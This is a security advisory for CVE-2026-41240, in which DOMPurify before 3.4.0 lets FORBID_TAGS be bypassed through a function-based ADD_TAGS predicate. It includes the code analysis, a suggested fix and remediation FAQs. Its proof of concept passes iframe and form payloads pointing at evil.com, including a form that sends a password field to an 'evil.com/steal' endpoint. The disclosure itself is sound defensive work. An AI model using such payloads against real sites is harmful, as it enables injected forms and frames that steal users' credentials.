CVE-2026-41240: DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used. Commit c361baa added an early exit for FORBIDATTR at line 1214. The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.
Other sources
There is an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used.
Commit c361baa added an early exit for FORBIDATTR at line 1214:
/ FORBIDATTR must always win, even if ADDATTR predicate would allow it / if (FORBIDATTR[lcName]) { return false; }
The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely:
if ( !( EXTRAELEMENTHANDLING.tagCheck instanceof Function && EXTRAELEMENTHANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWEDTAGS[tagName] || FORBIDTAGS[tagName]) // never evaluated ) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADDTAGS: function(tag) { return true; }, FORBIDTAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)
DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADDTAGS: function(tag) { return true; }, FORBIDTAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBIDATTR which correctly wins:
DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADDATTR: function(attr) { return true; }, FORBIDATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBIDTAGS early exit before the tagCheck evaluation, mirroring line 1214:
/ FORBIDTAGS must always win, even if ADDTAGS predicate would allow it / if (FORBIDTAGS[tagName]) { // proceed to removal logic }
This requires function-based ADDTAGS in the config, which is uncommon. But the asymmetry with the FORBIDATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
— GitHub
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/dompurifyto a version that resolves this vulnerability.Fixed in 3.4.0 - Upgrade
Upgrade
DOMPurifyto a version that resolves this vulnerability.Fixed in 3.4.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41240?
CVE-2026-41240 is classified as a medium severity vulnerability.
How do I fix CVE-2026-41240?
To mitigate CVE-2026-41240, upgrade DOMPurify to version 3.4.0 or later.
What does the CVE-2026-41240 vulnerability affect?
CVE-2026-41240 affects the handling of FORBID_TAGS and is related to a bypass vulnerability in DOMPurify.
Which versions of DOMPurify are affected by CVE-2026-41240?
Versions of DOMPurify prior to 3.4.0 are affected by CVE-2026-41240.
What is the nature of the issue described in CVE-2026-41240?
CVE-2026-41240 describes an inconsistency in the handling of the FORBID_TAGS and FORBID_ATTR predicates.